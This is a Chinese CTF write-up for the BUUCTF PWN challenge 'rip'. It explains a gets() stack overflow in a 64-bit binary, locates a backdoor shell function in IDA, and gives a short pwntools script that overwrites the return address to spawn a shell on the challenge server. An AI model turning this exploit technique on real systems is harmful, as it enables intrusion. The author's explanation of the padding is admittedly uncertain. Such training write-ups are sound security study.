[BUUCTF]PWN2——rip

[BUUCTF]PWN2-rip

题目网址:https://buuoj.cn/challenges#rip
步骤
例行检查附件,64位程序,没有开启任何保护
在这里插入图片描述
nc一下,看看输入点的提示字符串,让我们写入一个字符串,然后回显ok,bye
在这里插入图片描述
用对应位数的ida打开,shift+f12先来查看一下程序里有的字符串
在这里插入图片描述
这里可以看到有bin/sh还有system函数,对于这两个我们比较敏感,因为system(/bin/sh)这句代码能让我们直接获取shell
双击bin/sh跟进,然后安装ctrl+x查看一下哪里调用了这个字符串,点击ok跳转
在这里插入图片描述

跳转过来是这样的图形化界面
在这里插入图片描述
按f5可以将其编译为伪代码,可以看到这个函数的作用就是获取主机的shell,一般这种函数叫后门函数我们可以在左边函数列表里看到它的函数地址shell_addr=0x401186
在这里插入图片描述
我们也可以在之前的图形化界面按空格转换为汇编,一样可以看到函数的地址
在这里插入图片描述
回到之前的检索字符串的界面,双击“please input”,跟进找到输入点
在这里插入图片描述
第6行,gets函数让我们输入一个字符串给s,可以看到ida分析出来的s的大小是0xF,gets函数没有限制我们输入的字符串的长度,只要我们输入的字符串的长度超过了0xF,就会造成溢出
我们首先来看一下函数栈,如图,从下往上看,变量后跟的是ebp,之后是返回地址,我们这边要造成溢出利用,就得要从变量那边写数据,溢出到返回地址,这需要输入的字符串的长度=变量大小+ebp
32位程序的ebp的大小是4,64位程序的ebp的大小是8
在这里插入图片描述
所以我们这边要完成利用所需要的溢出长度是0xF+8,之后将返回地址填上我们之前找到的后门函数地址即可完成利用

exp:

from pwn import*
r=remote('node3.buuoj.cn',29386)
shell_addr=0x401186
payload='a'*(0xF+8)+p64(0x401198)+p64(shell_addr)
#payload='a'*15+p64(shell_addr)
r.sendline(payload)
r.interactive()

在这里插入图片描述

在写exp的时候发现不覆盖ebp直接填上后门函数地址也可以完成利用,按照理论应该是不可以的,不懂为什么

原文地址:https://www.cnblogs.com/xlrp/p/14273733.html